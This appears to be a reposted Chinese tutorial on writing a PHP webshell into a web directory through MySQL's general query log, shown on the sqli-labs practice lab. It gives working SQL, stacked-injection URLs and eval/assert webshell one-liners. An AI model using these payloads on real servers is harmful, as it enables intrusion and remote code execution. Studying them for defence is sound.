mysql日志写马

news/2025/4/1 8:04:17/文章来源:https://www.cnblogs.com/freedom-h/p/18800043

mysql日志写马

条件

1.全局变量general_log为ON。

mysql有两个全局变量:general_log指的是日志保存状态,值为ON/OFF,general_log_file指的是日志的保存路径。

只有当general_log为ON时,日志才会被记录进去,所以我们要先打开这个全局变量,使用命令查看全局变量状态‘

show global variables like "%general_log%";

image-20250329210725469

使用命令打开

set global general_log='on';

image-20250329210800439

打开之后,日志文件中就会记录我们写的sql语句(不论sql语句是否正确都会记录进去

我们可以通过命令

set global general_log_file=''

来设置日志文件地址(其中路径里的\用\\或者/代替,因为\的话会消失一个)

image-20250329210910955

2.需要secure_file_priv为空

即secure_file_priv="";或者secure_file_priv 为 general_log_file ⽇志的保存路径的磁盘。如果 secure_file_priv 固 定为G:\,⽽⽹站是搭在F盘上,那把 general_log_file 修改为G盘下的⽂件也连接不到,除非还有⽂件包含漏洞等等。

使用命令查看可以写入的文件

show global variables like '%secure%';

image-20250329210936134

当secure_file_priv为空,就可以写⼊磁盘的⽬录。

当secure_file_priv为G:\,就可以写⼊G盘的⽂件。

当secure_file_priv为null,into outfile就不能写⼊⽂件。(注意NULL不是我们要的 空,NULL和空的类型不⼀样)

secure_file_priv=""就是可以into outfile写⼊任意磁盘⽂件。 secure_file_priv设置通过设置my.ini来配置,不能通过SQL语⾔来修改,因为它是只读变量.

若secure_auth为ON,则⽤以下命令变为OFF(mysql查询默认是不区分⼤⼩写的)

set global secure_auth="off";

secure_file_priv不能通过此⽅法修改,因为报错为Variable 'XXX' is a read only variable。 报错原因及修改⽅法为: 参 数 为 只 读 参 数 , 需 要 在 mysql.ini 配 置 ⽂ 件 中 更 改 该 参 数 , 之 后 重 启 数 据 库

image-20250329185350643

3.对web⽬录有写权限

MS的系统就不说了,⼀般都会有权限的,但是linux的系统,通常都是rwxr-xr-x,也就是说组跟其他⽤户都没有权限写操作。

4.知道物理路径(into outfile '物理路径'),

这样才能写对⽬录。 使用命令

select @@basedir;

image-20250329211001471

5.对⽅没有对 ' 和 " 进⾏过滤,因为outfile后⾯的物理路径必须要有引号

方法

1.直接登录进别⼈的数据库的时候

set global general_log_file='...php';select '<?php assert($_POST[v]);?>';

2.使用堆叠注入:

set global general_log_file='...php';?id=1;select '<?php assert($_POST[v]);?>';
或者直接?id=<?php assert($_POST[v]);?>;
因为sql语句不管对错⽇志都会记录

不过前提堆叠注⼊的条件,源码中必须要⽤到 mysqli_multi_query() 函数,此处才可以执⾏多个sql语句进⾏注⼊。⼀般后台查询数据库使⽤的语句都是⽤mysql_query() 函数,所以堆叠注⼊在mysql上并不常⻅。 mysqli_multi_query() 可以执⾏多 个sql语句,⽽ mysqli_query() 只能执⾏⼀个sql语句。 因此堆叠注⼊的局限性在于并不是每⼀个环境下都可以执⾏,可能受到API或者数据库引擎不支持的限制。

(union注入在这行不通 。 因 为要日志写马能 够 连 接 必 须 要 修 改 general_log_file 为⽐如 php 后缀的⽂件,不然⻢不能被解析。所以必须要先⽤到 set global general_log_file=',那么union注⼊就没机会了,union基本都是 ? id=1 union select 1,2,select ''; 这样,不能执⾏ set 的)

示例

这里以sql-lab靶场为例

1先设置 general_log 为on

http://localhost/sqli-labs/Less-38/?id=-1' union select 1,2,3;set global general_log='on';--+

2再设置 general_log_file 为⼀个php后缀⽂件:

localhost/sqli-labs/Less-38/?id=-1' union select 1,2,3;set global general_log_file='F:\\phpstudy\\phpstudy_pro\\www\\1.php';--+

查询发现修改成功

image-20250329212858717

3写入木马

http://localhost/sqli-labs/Less-38/?id=1';select '<?php eval($_POST[cmd]);?>';--+

4最 后 可 以 ⽤工具连接

image-20250329220459028

直接成功登录数据库的⽇志写⻢可以说是方法和堆叠注入的差不多,就是可以⽤ show 来看全局变量的值。这⾥就不赘述了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/907903.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

滚动部署学习指南:从理论到实践,掌握关键技术和流程

一、滚动部署概述 (一)定义 滚动部署是一种逐步更新应用实例的策略,通过逐批次替换旧版本实例来完成版本升级,以减少服务中断时间并降低更新风险。 (二)应用场景 滚动部署适用于需要高可用性和低风险的软件更新场景,例如 Web 应用程序更新、移动应用后端服务更新以及云原…

ctfshow-web入门-爆破(web21-web28)

web21 打开后要求登录附件是一个密码字典使用bp抓包,将抓到的东西进行base64解码发现是admin:密码的键值对添加payload,padload类型为自定义迭代器,位置1为admin:位置2为导入的字典添加base64编码和取消url编码然后开始攻击,发现长度和其他不同的包,查看响应,发现flagweb…

灰度发布学习大纲:从理论到实践,掌握关键技术和流程

一、灰度发布概述 1. 定义与别名灰度发布:一种渐进式的软件发布策略,也被称为金丝雀发布(Canary Release)。 目的:通过逐步向用户群体推送更新,降低新版本引入的潜在风险,提升用户体验,实现不停机的热迁移。2. 灰度发布的优势降低风险:逐步验证新版本的稳定性。 快速反…

代码随心录第三天|Leecode 203.移除链表元素 707.设计链表 206.反转链表

1、Leecode 203.移除链表元素 题目链接:https://leetcode.cn/problems/remove-linked-list-elements/description/ 题目描述:解题思路:移除操作就是让节点next指针直接指向下下一个节点,因为单链表的特殊性,只能指向下一个节点,所以头节点需要单独考虑,这种方法是直接使…

【THM】Linux Privilege Escalation

Linux Privilege Escalation/Linux 权限提升 什么是权限提升 “权限提升”是什么意思? 权限提升通常涉及从较低权限的帐户到较高权限的帐户。 从技术上讲,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置疏忽来获得对通常限制用户访问的资源的未经授权的访问。 权限提升…

kettle从入门到精通 第九十三课 ETL之kettle kettle 调用web service接口5种方法,一文彻底搞懂

场景:群里有小伙伴向我求助如何调用web service接口,趁着周末时间,给兄弟们搞demo。 1、本次使用的web service服务接口地址是http://ws.webxml.com.cn/WebServices/WeatherWS.asmx?op=getSupportCityDataset, 此接口根据用户输入的城市名称可获取城市下属单位,如下图所示…

分享一款替代 GitLab 的开源软件 gogs ,适合中小企业,非常优秀!

这篇文章,分享一款替代 GitLab 的开源软件 gogs ,Github 上有 4 万多颗 star ,笔者认为它非常优秀 ,适合中小企业。1 Gogs 简介 Gogs 是一款极易搭建的自助 Git 服务,它使用 Go 语言开发,只要 Go 语言支持的平台它都支持,包括 Linux 、Mac OS X、Windows 以及 ARM 平台。…

【闲话 No.3】 并查集相关

并查集的复杂度证明及可持久化。命に嫌われている。 小唐话 感觉有的时候已经无法与人正常交流,净做唐事、说些唐话了。或许是我无法准确猜到别人喜欢什么吧。 不过还是自己心底一点 joker 之心/私心作祟吧。 感觉我有时做的唐事真的挺对不起大家的。 可我又怎么战胜心底的那…

3.29 学习记录

实现了科技页面的树状图查询和分页查询

Django - admin djangoql

效果: 1. pip installpip install djangoql 2. settings.pyINSTALLED_APPS = [djangoql, ] 3. admin.pyfrom django.contrib import admin from djangoql.admin import DjangoQLSearchMixinfrom .models import *@admin.register(User) class UserAdmin(DjangoQLSearchMixi…

[rCore学习笔记 025 extend] 带优先级的抢占式调度

引言 因为rcore并非设计为一个rtos,而是在我们需要的时候我们需要在设计的时候考虑到线程切换的时候的延时问题. 回顾上一部分的使用环形队列进行调度的方式,我们会发现我们寻找下一个Ready的任务的时间是不均匀的.并且我们的任务是没有优先级的,可以认为是平权的,因此,为了:快…